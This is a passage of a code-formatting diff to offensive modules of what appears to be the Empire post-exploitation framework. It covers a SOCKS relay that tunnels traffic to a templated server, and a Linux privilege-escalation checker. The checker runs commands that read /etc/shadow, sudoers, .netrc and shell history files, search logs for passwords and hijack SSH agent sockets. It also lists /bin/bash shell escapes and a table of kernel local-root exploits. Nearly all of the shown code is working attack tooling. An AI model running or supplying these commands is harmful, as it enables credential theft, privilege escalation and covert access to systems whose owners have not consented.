+ "!BBBBIH", 0x05, 0x05, 0x00, 0x01, 0, 0
+ ) # connection refused
except Exception:
- return struct.pack('!BBBBIH', 0x05, 0x01, 0x00, 0x01, 0, 0) # General SOCKS failure
+ return struct.pack(
+ "!BBBBIH", 0x05, 0x01, 0x00, 0x01, 0, 0
+ ) # General SOCKS failure
s.settimeout(None)
channel.socket = s
peer_host, peer_port = s.getpeername()[:2]
- channel.local_peer_addr = '{}[{}]:{}'.format(host, peer_host, port)
+ channel.local_peer_addr = "{}[{}]:{}".format(host, peer_host, port)
local_host, local_port = s.getsockname()[:2]
bind_addr = socket.inet_pton(af, local_host)
- bind_port = struct.pack('!H', local_port)
+ bind_port = struct.pack("!H", local_port)
- ret = struct.pack('!BBBB', 0x05, 0x00, 0x00, atyp) + bind_addr + bind_port
- self.logger.info('Connected {}'.format(channel))
+ ret = (
+ struct.pack("!BBBB", 0x05, 0x00, 0x00, atyp) + bind_addr + bind_port
+ )
+ self.logger.info("Connected {}".format(channel))
self.request_handled = True
return ret
elif cmd == 0x02: # BIND
- raise NotImplementedError('Need to implement BIND command') # TODO
+ raise NotImplementedError("Need to implement BIND command") # TODO
elif cmd == 0x03: # UDP ASSOCIATE
- raise NotImplementedError('Need to implement UDP ASSOCIATE command') # TODO
+ raise NotImplementedError(
+ "Need to implement UDP ASSOCIATE command"
+ ) # TODO
else:
- raise NotImplementedError('Failed to implemented handler for cmd={}'.format(hex(cmd)))
+ raise NotImplementedError(
+ "Failed to implemented handler for cmd={}".format(hex(cmd))
+ )
class SocksBase(object):
- def __init__(self, transport_addr=('', 443), socks_addr=('', 1080), keepalive=None, key=None, cert=None):
+ def __init__(
+ self,
+ transport_addr=("", 443),
+ socks_addr=("", 1080),
+ keepalive=None,
+ key=None,
+ cert=None,
+ ):
self.tunnel = None # type: Tunnel
self.transport_addr = transport_addr
self.socks_addr = socks_addr
@@ -255,7 +310,9 @@ def check_socks_protocol(self, c, data):
def monitor_sockets(self):
while True:
# Check tunnel and peer connections
- sockets = [x for x in self.tunnel.channels if x.connected] + [self.tunnel.transport_socket]
+ sockets = [x for x in self.tunnel.channels if x.connected] + [
+ self.tunnel.transport_socket
+ ]
if self.socks_socket is not None:
sockets.append(self.socks_socket)
@@ -273,17 +330,19 @@ def monitor_sockets(self):
try:
msg, data = self.tunnel.recv_message()
except Exception as e:
- self.logger.critical('Error receiving messages, exiting')
- self.logger.debug('Error message: {}'.format(e))
+ self.logger.critical("Error receiving messages, exiting")
+ self.logger.debug("Error message: {}".format(e))
self.tunnel.transport_socket.close()
return
if msg.mtype == MTYPE_NOOP:
- self.logger.debug('Received keepalive message, discarding')
+ self.logger.debug("Received keepalive message, discarding")
elif msg.mtype == MTYPE_COPEN:
c = self.tunnel.open_channel(msg.channel)
- self.logger.debug('Received OpenChannel message, opened channel: {}'.format(c))
+ self.logger.debug(
+ "Received OpenChannel message, opened channel: {}".format(c)
+ )
elif msg.mtype == MTYPE_CCLO:
try:
@@ -292,7 +351,7 @@ def monitor_sockets(self):
except KeyError:
pass
else:
- self.logger.info('Closed a channel: {}'.format(c))
+ self.logger.info("Closed a channel: {}".format(c))
elif msg.mtype == MTYPE_CADDR:
try:
@@ -301,7 +360,7 @@ def monitor_sockets(self):
pass
else:
c.remote_peer_addr = data
- self.logger.info('Channel connected remotely: {}'.format(c))
+ self.logger.info("Channel connected remotely: {}".format(c))
elif msg.mtype == MTYPE_DATA:
try:
@@ -309,44 +368,52 @@ def monitor_sockets(self):
except KeyError:
pass
else:
- self.logger.debug('Received {} bytes from tunnel for {}'.format(len(data), c))
+ self.logger.debug(
+ "Received {} bytes from tunnel for {}".format(len(data), c)
+ )
if not self.check_socks_protocol(c, data):
try:
c.socket.sendall(data)
- except:
- self.logger.debug('Problem sending data to channel {}'.format(c))
+ except Exception:
+ self.logger.debug(
+ "Problem sending data to channel {}".format(c)
+ )
self.tunnel.close_channel(msg.channel, remote=True)
else:
- self.logger.warning('Received message of unknown type {}'.format(hex(msg.mtype)))
+ self.logger.warning(
+ "Received message of unknown type {}".format(hex(msg.mtype))
+ )
continue
if self.socks_socket is not None and self.socks_socket in r:
s, addr = self.socks_socket.accept()
- addr = '{}:{}'.format(*addr)
+ addr = "{}:{}".format(*addr)
c = self.tunnel.open_channel(next(self.next_channel_id), remote=True)
c.local_peer_addr = addr
c.socket = s
- self.logger.info('Created new channel: {}'.format(c))
+ self.logger.info("Created new channel: {}".format(c))
continue
for c in r:
try:
data = c.socket.recv(1024)
except Exception as e:
- self.logger.debug('Problem recving from {}: {}'.format(c, e))
+ self.logger.debug("Problem recving from {}: {}".format(c, e))
self.tunnel.close_channel(c.channel_id, remote=True)
break
if not data:
- self.logger.debug('Received EOF from local socket, closing channel')
+ self.logger.debug("Received EOF from local socket, closing channel")
self.tunnel.close_channel(c.channel_id, remote=True)
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
self.tunnel.send_message(msg, data=data)
- self.logger.debug('Sent {} bytes over tunnel: {}'.format(len(data), msg))
+ self.logger.debug(
+ "Sent {} bytes over tunnel: {}".format(len(data), msg)
+ )
def run(self):
- raise NotImplementedError('Subclasses should implement the run() method')
+ raise NotImplementedError("Subclasses should implement the run() method")
class SocksRelay(SocksBase):
@@ -354,7 +421,9 @@ def check_socks_protocol(self, c, data):
if not c.socks_handler.auth_handled:
res = c.socks_handler.handle(c, data)
if not c.socks_handler.auth_handled:
- self.logger.warning('SOCKS auth handler failed, expect channel close for {}'.format(c))
+ self.logger.warning(
+ "SOCKS auth handler failed, expect channel close for {}".format(c)
+ )
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
self.tunnel.send_message(msg, data=res)
return True
@@ -363,7 +432,9 @@ def check_socks_protocol(self, c, data):
msg = Message(mtype=MTYPE_DATA, channel=c.channel_id)
self.tunnel.send_message(msg, data=res)
if not c.socks_handler.request_handled:
- self.logger.warning('SOCKS req handler failed, expect channel close for {}'.format(c))
+ self.logger.warning(
+ "SOCKS req handler failed, expect channel close for {}".format(c)
+ )
else:
msg = Message(mtype=MTYPE_CADDR, channel=c.channel_id)
self.tunnel.send_message(msg, data=c.local_peer_addr)
@@ -374,23 +445,23 @@ def check_socks_protocol(self, c, data):
def run(self):
s = socket.socket()
s = ssl.wrap_socket(s)
- self.logger.debug('Connecting to {}:{}'.format(*self.transport_addr))
+ self.logger.debug("Connecting to {}:{}".format(*self.transport_addr))
try:
s.connect(self.transport_addr)
except Exception as e:
- self.logger.error('Problem connecting to server: {}'.format(e))
+ self.logger.error("Problem connecting to server: {}".format(e))
else:
- self.logger.info('Connected to {}:{}'.format(*self.transport_addr))
+ self.logger.info("Connected to {}:{}".format(*self.transport_addr))
self.tunnel = Tunnel(s)
self.monitor_sockets()
- self.logger.warning('SOCKS relay is exiting')
+ self.logger.warning("SOCKS relay is exiting")
-def relay_main(tunnel_addr=''):
- tunnel_addr = (tunnel_addr.split(':')[0], int(tunnel_addr.split(':')[1]))
+def relay_main(tunnel_addr=""):
+ tunnel_addr = (tunnel_addr.split(":")[0], int(tunnel_addr.split(":")[1]))
relay = SocksRelay(transport_addr=tunnel_addr)
relay.run()
return
-relay_main(tunnel_addr='{{ server }}')
+relay_main(tunnel_addr="{{ server }}")
diff --git a/empire/server/data/module_source/python/privesc/linuxprivchecker.py b/empire/server/data/module_source/python/privesc/linuxprivchecker.py
index ba50f86b0..0aab3b28f 100644
--- a/empire/server/data/module_source/python/privesc/linuxprivchecker.py
+++ b/empire/server/data/module_source/python/privesc/linuxprivchecker.py
@@ -48,11 +48,13 @@ def execute_cmd(cmddict):
for item in cmddict:
cmd = cmddict[item]["cmd"]
if compatmode == 0: # newer version of python, use preferred subprocess
- out, error = sub.Popen([cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True).communicate()
- results = out.decode().split('\n')
+ out, error = sub.Popen(
+ [cmd], stdout=sub.PIPE, stderr=sub.PIPE, shell=True
+ ).communicate()
+ results = out.decode().split("\n")
else: # older version of python, use os.popen
- echo_stdout = os.popen(cmd, 'r')
- results = echo_stdout.read().split('\n')
+ echo_stdout = os.popen(cmd, "r")
+ results = echo_stdout.read().split("\n")
# write the results to the command Dictionary for each command run
cmddict[item]["results"] = results
@@ -93,7 +95,7 @@ def enum_system_info():
sysinfo = {
"OS": {"cmd": "cat /etc/issue", "msg": "Operating System", "results": []},
"KERNEL": {"cmd": "cat /proc/version", "msg": "Kernel", "results": []},
- "HOSTNAME": {"cmd": "hostname", "msg": "Hostname", "results": []}
+ "HOSTNAME": {"cmd": "hostname", "msg": "Hostname", "results": []},
}
sysinfo = execute_cmd(sysinfo)
@@ -115,7 +117,11 @@ def enum_network_info():
netinfo = {
"netinfo": {"cmd": "/sbin/ifconfig -a", "msg": "Interfaces", "results": []},
"ROUTE": {"cmd": "route", "msg": "Route(s)", "results": []},
- "NETSTAT": {"cmd": "netstat -antup | grep -v 'TIME_WAIT'", "msg": "Netstat", "results": []}
+ "NETSTAT": {
+ "cmd": "netstat -antup | grep -v 'TIME_WAIT'",
+ "msg": "Netstat",
+ "results": [],
+ },
}
netinfo = execute_cmd(netinfo)
@@ -135,7 +141,11 @@ def enum_filesystem_info():
driveinfo = {
"MOUNT": {"cmd": "mount", "msg": "Mount results", "results": []},
- "FSTAB": {"cmd": "cat /etc/fstab 2>/dev/null", "msg": "fstab entries", "results": []}
+ "FSTAB": {
+ "cmd": "cat /etc/fstab 2>/dev/null",
+ "msg": "fstab entries",
+ "results": [],
+ },
}
driveinfo = execute_cmd(driveinfo)
@@ -153,10 +163,21 @@ def enum_cron_jobs():
TODO: Should also parse at and systemd jobs for possible information as well
"""
croninfo = {
- "CRON": {"cmd": "ls -la /etc/cron* 2>/dev/null", "msg": "Scheduled cron jobs", "results": []},
- "CRONW": {"cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null", "msg": "Writable cron dirs",
- "results": []},
- "CRONU": {"cmd": "crontab -l 2>/dev/null", "msg": "Users cron jobs", "results": []}
+ "CRON": {
+ "cmd": "ls -la /etc/cron* 2>/dev/null",
+ "msg": "Scheduled cron jobs",
+ "results": [],
+ },
+ "CRONW": {
+ "cmd": "ls -aRl /etc/cron* 2>/dev/null | awk '$1 ~ /w.$/' 2>/dev/null",
+ "msg": "Writable cron dirs",
+ "results": [],
+ },
+ "CRONU": {
+ "cmd": "crontab -l 2>/dev/null",
+ "msg": "Users cron jobs",
+ "results": [],
+ },
}
croninfo = execute_cmd(croninfo)
@@ -176,14 +197,31 @@ def enum_user_info():
"WHOAMI": {"cmd": "whoami", "msg": "Current User", "results": []},
"ID": {"cmd": "id", "msg": "Current User ID", "results": []},
"ALLUSERS": {"cmd": "cat /etc/passwd", "msg": "All users", "results": []},
- "SUPUSERS": {"cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'", "msg": "Super Users Found:",
- "results": []},
- "ENV": {"cmd": "env 2>/dev/null | grep -v 'LS_COLORS'", "msg": "Environment", "results": []},
- "SUDOERS": {"cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null", "msg": "Sudoers (privileged)",
- "results": []},
- "SCREENS": {"cmd": "screen -ls 2>/dev/null", "msg": "List out any screens running for the current user",
- "results": []},
- "LOGGEDIN": {"cmd": "who -a 2>/dev/null", "msg": "Logged in User Activity", "results": []}
+ "SUPUSERS": {
+ "cmd": "grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'",
+ "msg": "Super Users Found:",
+ "results": [],
+ },
+ "ENV": {
+ "cmd": "env 2>/dev/null | grep -v 'LS_COLORS'",
+ "msg": "Environment",
+ "results": [],
+ },
+ "SUDOERS": {
+ "cmd": "cat /etc/sudoers 2>/dev/null | grep -v '#' 2>/dev/null",
+ "msg": "Sudoers (privileged)",
+ "results": [],
+ },
+ "SCREENS": {
+ "cmd": "screen -ls 2>/dev/null",
+ "msg": "List out any screens running for the current user",
+ "results": [],
+ },
+ "LOGGEDIN": {
+ "cmd": "who -a 2>/dev/null",
+ "msg": "Logged in User Activity",
+ "results": [],
+ },
}
userinfo = execute_cmd(userinfo)
@@ -206,24 +244,51 @@ def enum_user_history_files():
print("\n[*] ENUMERATING USER History Files..\n")
historyfiles = {
- "RHISTORY": {"cmd": "ls -la /root/.*_history 2>/dev/null",
- "msg": " See if you have access too Root user history (depends on privs)", "results": []},
- "BASHHISTORY": {"cmd": "cat ~/.bash_history 2>/dev/null",
- "msg": " Get the contents of bash history file for current user", "results": []},
- "NANOHISTORY": {"cmd": "cat ~/.nano_history 2>/dev/null",
- "msg": " Try to get the contents of nano history file for current user", "results": []},
- "ATFTPHISTORY": {"cmd": "cat ~/.atftp_history 2>/dev/null",
- "msg": " Try to get the contents of atftp history file for current user", "results": []},
- "MYSQLHISTORY": {"cmd": "cat ~/.mysql_history 2>/dev/null",
- "msg": " Try to get the contents of mysql history file for current user", "results": []},
- "PHPHISTORY": {"cmd": "cat ~/.php_history 2>/dev/null",
- "msg": " Try to get the contents of php history file for current user", "results": []},
- "PYTHONHISTORY": {"cmd": "cat ~/.python_history 2>/dev/null",
- "msg": " Try to get the contents of python history file for current user", "results": []},
- "REDISHISTORY": {"cmd": "cat ~/.rediscli_history 2>/dev/null",
- "msg": " Try to get the contents of redis cli history file for current user", "results": []},
- "TDSQLHISTORY": {"cmd": "cat ~/.tdsql_history 2>/dev/null",
- "msg": " Try to get the contents of tdsql history file for current user", "results": []}
+ "RHISTORY": {
+ "cmd": "ls -la /root/.*_history 2>/dev/null",
+ "msg": " See if you have access too Root user history (depends on privs)",
+ "results": [],
+ },
+ "BASHHISTORY": {
+ "cmd": "cat ~/.bash_history 2>/dev/null",
+ "msg": " Get the contents of bash history file for current user",
+ "results": [],
+ },
+ "NANOHISTORY": {
+ "cmd": "cat ~/.nano_history 2>/dev/null",
+ "msg": " Try to get the contents of nano history file for current user",
+ "results": [],
+ },
+ "ATFTPHISTORY": {
+ "cmd": "cat ~/.atftp_history 2>/dev/null",
+ "msg": " Try to get the contents of atftp history file for current user",
+ "results": [],
+ },
+ "MYSQLHISTORY": {
+ "cmd": "cat ~/.mysql_history 2>/dev/null",
+ "msg": " Try to get the contents of mysql history file for current user",
+ "results": [],
+ },
+ "PHPHISTORY": {
+ "cmd": "cat ~/.php_history 2>/dev/null",
+ "msg": " Try to get the contents of php history file for current user",
+ "results": [],
+ },
+ "PYTHONHISTORY": {
+ "cmd": "cat ~/.python_history 2>/dev/null",
+ "msg": " Try to get the contents of python history file for current user",
+ "results": [],
+ },
+ "REDISHISTORY": {
+ "cmd": "cat ~/.rediscli_history 2>/dev/null",
+ "msg": " Try to get the contents of redis cli history file for current user",
+ "results": [],
+ },
+ "TDSQLHISTORY": {
+ "cmd": "cat ~/.tdsql_history 2>/dev/null",
+ "msg": " Try to get the contents of tdsql history file for current user",
+ "results": [],
+ },
}
historyfiles = execute_cmd(historyfiles)
@@ -240,20 +305,41 @@ def enum_rc_files():
print("\n[*] ENUMERATING USER *.rc Style Files For INFO...\n")
rcfiles = {
- "GBASHRC": {"cmd": "cat /etc/bashrc 2>/dev/null",
- "msg": " Get the contents of bash rc file form global config file", "results": []},
- "BASHRC": {"cmd": "cat ~/.bashrc 2>/dev/null", "msg": "Get the contents of bash rc file for current user",
- "results": []},
- "SCREENRC": {"cmd": "cat ~/.screenrc 2>/dev/null",
- "msg": " Try to get the contents of screen rc file for current user", "results": []},
- "GSCREENRC": {"cmd": "cat /etc/screenrc 2>/dev/null",
- "msg": "Try to get the contents of screen rc file form global config file", "results": []},
- "VIRC": {"cmd": "cat ~/.virc 2>/dev/null", "msg": " Try to get the contents of vi rc file for current user",
- "results": []},
- "MYSQLRC": {"cmd": "cat ~/.mysqlrc 2>/dev/null",
- "msg": " Try to get the contents of mysql rc file for current user", "results": []},
- "NETRC": {"cmd": "cat ~/.netrc 2>/dev/null",
- "msg": " Try to get the contents of legacy net rc file for current user", "results": []}
+ "GBASHRC": {
+ "cmd": "cat /etc/bashrc 2>/dev/null",
+ "msg": " Get the contents of bash rc file form global config file",
+ "results": [],
+ },
+ "BASHRC": {
+ "cmd": "cat ~/.bashrc 2>/dev/null",
+ "msg": "Get the contents of bash rc file for current user",
+ "results": [],
+ },
+ "SCREENRC": {
+ "cmd": "cat ~/.screenrc 2>/dev/null",
+ "msg": " Try to get the contents of screen rc file for current user",
+ "results": [],
+ },
+ "GSCREENRC": {
+ "cmd": "cat /etc/screenrc 2>/dev/null",
+ "msg": "Try to get the contents of screen rc file form global config file",
+ "results": [],
+ },
+ "VIRC": {
+ "cmd": "cat ~/.virc 2>/dev/null",
+ "msg": " Try to get the contents of vi rc file for current user",
+ "results": [],
+ },
+ "MYSQLRC": {
+ "cmd": "cat ~/.mysqlrc 2>/dev/null",
+ "msg": " Try to get the contents of mysql rc file for current user",
+ "results": [],
+ },
+ "NETRC": {
+ "cmd": "cat ~/.netrc 2>/dev/null",
+ "msg": " Try to get the contents of legacy net rc file for current user",
+ "results": [],
+ },
}
rcfiles = execute_cmd(rcfiles)
@@ -273,17 +359,29 @@ def search_file_perms():
fdperms = {
"WWDIRSROOT": {
"cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep root",
- "msg": "World Writeable Directories for User/Group 'Root'", "results": []},
+ "msg": "World Writeable Directories for User/Group 'Root'",
+ "results": [],
+ },
"WWDIRS": {
"cmd": "find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root",
- "msg": "World Writeable Directories for Users other than Root", "results": []},
+ "msg": "World Writeable Directories for Users other than Root",
+ "results": [],
+ },
"WWFILES": {
"cmd": "find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null",
- "msg": "World Writable Files", "results": []},
- "SUID": {"cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null",
- "msg": "SUID/SGID Files and Directories", "results": []},
- "ROOTHOME": {"cmd": "ls -ahlR /root 2>/dev/null", "msg": "Checking if root's home folder is accessible",
- "results": []}
+ "msg": "World Writable Files",
+ "results": [],
+ },
+ "SUID": {
+ "cmd": "find / \( -perm -2000 -o -perm -4000 \) -exec ls -ld {} \; 2>/dev/null",
+ "msg": "SUID/SGID Files and Directories",
+ "results": [],
+ },
+ "ROOTHOME": {
+ "cmd": "ls -ahlR /root 2>/dev/null",
+ "msg": "Checking if root's home folder is accessible",
+ "results": [],
+ },
}
fdperms = execute_cmd(fdperms)
@@ -300,11 +398,21 @@ def search_file_passwords():
"""
pwdfiles = {
- "LOGPWDS": {"cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
- "msg": "Logs containing keyword 'password'", "results": []},
- "CONFPWDS": {"cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
- "msg": "Config files containing keyword 'password'", "results": []},
- "SHADOW": {"cmd": "cat /etc/shadow 2>/dev/null", "msg": "Shadow File (Privileged)", "results": []}
+ "LOGPWDS": {
+ "cmd": "find /var/log -name '*.log' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
+ "msg": "Logs containing keyword 'password'",
+ "results": [],
+ },
+ "CONFPWDS": {
+ "cmd": "find /etc -name '*.c*' 2>/dev/null | xargs -l10 egrep 'pwd|password' 2>/dev/null",
+ "msg": "Config files containing keyword 'password'",
+ "results": [],
+ },
+ "SHADOW": {
+ "cmd": "cat /etc/shadow 2>/dev/null",
+ "msg": "Shadow File (Privileged)",
+ "results": [],
+ },
}
pwdfiles = execute_cmd(pwdfiles)
@@ -322,29 +430,47 @@ def enum_procs_pkgs(sysinfo):
# Processes and Applications
print("[*] ENUMERATING PROCESSES AND APPLICATIONS...\n")
- if "debian" in sysinfo["KERNEL"]["results"][0] or "ubuntu" in sysinfo["KERNEL"]["results"][0]:
+ if (
+ "debian" in sysinfo["KERNEL"]["results"][0]
+ or "ubuntu" in sysinfo["KERNEL"]["results"][0]
+ ):
getpkgs = "dpkg -l | awk '{$1=$4=\"\"; print $0}'" # debian
else:
getpkgs = "rpm -qa | sort -u" # RH/other
pkgsandprocs = {
- "PROCS": {"cmd": "ps waux | awk '{print $1,$2,$9,$10,$11}'", "msg": "Current processes", "results": []},
- "PKGS": {"cmd": getpkgs, "msg": "Installed Packages", "results": []}
+ "PROCS": {
+ "cmd": "ps waux | awk '{print $1,$2,$9,$10,$11}'",
+ "msg": "Current processes",
+ "results": [],
+ },
+ "PKGS": {"cmd": getpkgs, "msg": "Installed Packages", "results": []},
}
pkgsandprocs = execute_cmd(pkgsandprocs)
print_results(pkgsandprocs) # comment to reduce output
otherapps = {
- "SUDO": {"cmd": "sudo -V | grep version 2>/dev/null",
- "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)",
- "results": []},
- "APACHE": {"cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null",
- "msg": "Apache Version and Modules", "results": []},
- "APACHECONF": {"cmd": "cat /etc/apache2/apache2.conf 2>/dev/null", "msg": "Apache Config File", "results": []},
+ "SUDO": {
+ "cmd": "sudo -V | grep version 2>/dev/null",
+ "msg": "Sudo Version (Check out http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=sudo)",
+ "results": [],
+ },
+ "APACHE": {
+ "cmd": "apache2 -v; apache2ctl -M; httpd -v; apachectl -l 2>/dev/null",
+ "msg": "Apache Version and Modules",
+ "results": [],
+ },
+ "APACHECONF": {
+ "cmd": "cat /etc/apache2/apache2.conf 2>/dev/null",
+ "msg": "Apache Config File",
+ "results": [],
+ },
"SSHAGENTS": {
"cmd": "for AGENT in $(ls /tmp| egrep 'ssh-.{10}$'); do echo $AGENT $(stat -c '%U' /tmp/$AGENT);export SSH_AUTH_SOCK=/tmp/$AGENT/$(ls /tmp/$AGENT);timeout 10 ssh-add -l 2>/dev/null;done;",
- "msg": "Checking for Active SSH Agents", "results": []}
+ "msg": "Checking for Active SSH Agents",
+ "results": [],
+ },
}
execute_cmd(otherapps)
@@ -362,7 +488,9 @@ def enum_root_pkg_proc(pkgsandprocs, userinfo):
:return: The drive information Dictionary with the commands results included
"""
- print("[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n")
+ print(
+ "[*] IDENTIFYING PROCESSES AND PACKAGES RUNNING AS ROOT OR OTHER SUPERUSER...\n"
+ )
# find the package information for the processes currently running
# under root or another super user
@@ -376,26 +504,36 @@ def enum_root_pkg_proc(pkgsandprocs, userinfo):
relatedpkgs = [] # list to hold the packages related to a process
try:
for user in supusers: # loop through the known super users
- if (user != "") and (user in proc): # if the process is being run by a super user
+ if (user != "") and (
+ user in proc
+ ): # if the process is being run by a super user
procname = proc.split(" ")[4] # grab the process name
if "/" in procname:
splitname = procname.split("/")
procname = splitname[len(splitname) - 1]
for pkg in pkgs: # loop through the packages
- if not len(procname) < 3: # name too short to get reliable package results
+ if (
+ not len(procname) < 3
+ ): # name too short to get reliable package results
if procname in pkg:
if procname in procdict:
- relatedpkgs = procdict[proc] # if already in the dict, grab its pkg list
+ relatedpkgs = procdict[
+ proc
+ ] # if already in the dict, grab its pkg list
if pkg not in relatedpkgs:
relatedpkgs.append(pkg) # add pkg to the list
- procdict[proc] = relatedpkgs # add any found related packages to the process dictionary entry
- except:
+ procdict[
+ proc
+ ] = relatedpkgs # add any found related packages to the process dictionary entry
+ except Exception:
pass
for key in procdict:
print(" " + key) # print the process name
try:
- if not procdict[key][0] == "": # only print the rest if related packages were found
+ if (
+ not procdict[key][0] == ""
+ ): # only print the rest if related packages were found
print(" Possible Related Packages: ")
for entry in procdict[key]:
print(" " + entry) # print each related package
@@ -414,8 +552,12 @@ def enum_dev_tools():
print("[*] ENUMERATING INSTALLED LANGUAGES/TOOLS FOR SPLOIT BUILDING...\n")
devtools = {
- "TOOLS": {"cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null",
- "msg": "Installed Tools", "results": []}}
+ "TOOLS": {
+ "cmd": "which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null",
+ "msg": "Installed Tools",
+ "results": [],
+ }
+ }
execute_cmd(devtools)
print_results(devtools)
@@ -438,7 +580,7 @@ def enum_shell_esapes(devtools):
"awk": ["awk 'BEGIN {system(\"/bin/bash\")}'"],
"perl": ["perl -e 'exec \"/bin/bash\";'"],
"find": ["find / -exec /usr/bin/awk 'BEGIN {system(\"/bin/bash\")}' \\;"],
- "nmap": ["--interactive"]
+ "nmap": ["--interactive"],
}
for cmd in escapecmd:
@@ -466,191 +608,442 @@ def find_likely_exploits(sysinfo, devtools, pkgsandprocs, driveinfo):
# Now check for relevant exploits (note: this list should be updated over time; source: Exploit-DB)
# sploit format = sploit name : {minversion, maxversion, exploitdb#, language, {keywords for applicability}} -- current keywords are 'kernel', 'proc', 'pkg' (unused), and 'os'
sploits = {
- "2.2.x-2.4.x ptrace kmod local exploit": {"minver": "2.2", "maxver": "2.4.99", "exploitdb": "3", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.4.20 Module Loader Local Root Exploit": {"minver": "0", "maxver": "2.4.20", "exploitdb": "12", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4.22 "'do_brk()'" local Root Exploit (PoC)": {"minver": "2.4.22", "maxver": "2.4.22", "exploitdb": "129",
- "lang": "asm",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "<= 2.4.22 (do_brk) Local Root Exploit (working)": {"minver": "0", "maxver": "2.4.22", "exploitdb": "131",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4.x mremap() bound checking Root Exploit": {"minver": "2.4", "maxver": "2.4.99", "exploitdb": "145",
- "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "<= 2.4.29-rc2 uselib() Privilege Elevation": {"minver": "0", "maxver": "2.4.29", "exploitdb": "744",
- "lang": "c", "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4 uselib() Privilege Elevation Exploit": {"minver": "2.4", "maxver": "2.4", "exploitdb": "778", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4.x / 2.6.x uselib() Local Privilege Escalation Exploit": {"minver": "2.4", "maxver": "2.6.99",
- "exploitdb": "895", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.4/2.6 bluez Local Root Privilege Escalation Exploit (update)": {"minver": "2.4", "maxver": "2.6.99",
- "exploitdb": "926", "lang": "c",
- "keywords": {"loc": ["proc", "pkg"],
- "val": "bluez"}},
- "<= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c)": {"minver": "0", "maxver": "2.6.11", "exploitdb": "1397",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit": {"minver": "0", "maxver": "99",
- "exploitdb": "1518", "lang": "c",
- "keywords": {"loc": ["proc", "pkg"],
- "val": "mysql"}},
- "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit": {"minver": "2.6.13", "maxver": "2.6.17.4",
- "exploitdb": "2004", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)": {"minver": "2.6.13", "maxver": "2.6.17.4",
- "exploitdb": "2005", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)": {"minver": "2.6.13", "maxver": "2.6.17.4",
- "exploitdb": "2006", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)": {"minver": "2.6.13", "maxver": "2.6.17.4",
- "exploitdb": "2011", "lang": "sh",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "<= 2.6.17.4 (proc) Local Root Exploit": {"minver": "0", "maxver": "2.6.17.4", "exploitdb": "2013", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate)": {"minver": "2.6.13", "maxver": "2.6.17.4",
- "exploitdb": "2031", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "Ubuntu/Debian Apache 1.3.33/1.3.34 (CGI TTY) Local Root Exploit": {"minver": "4.10", "maxver": "7.04",
- "exploitdb": "3384", "lang": "c",
- "keywords": {"loc": ["os"],
- "val": "debian"}},
- "Linux/Kernel 2.4/2.6 x86-64 System Call Emulation Exploit": {"minver": "2.4", "maxver": "2.6",
- "exploitdb": "4460", "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "< 2.6.11.5 BLUETOOTH Stack Local Root Exploit": {"minver": "0", "maxver": "2.6.11.5", "exploitdb": "4756",
- "lang": "c",
- "keywords": {"loc": ["proc", "pkg"], "val": "bluetooth"}},
- "2.6.17 - 2.6.24.1 vmsplice Local Root Exploit": {"minver": "2.6.17", "maxver": "2.6.24.1", "exploitdb": "5092",
- "lang": "c",
- "keywords": {"loc": ["kernel"], "val": "kernel"}},
- "2.6.23 - 2.6.24 vmsplice Local Root Exploit": {"minver": "2.6.23", "maxver": "2.6.24", "exploitdb": "5093",
- "lang": "c", "keywords": {"loc": ["os"], "val": "debian"}},
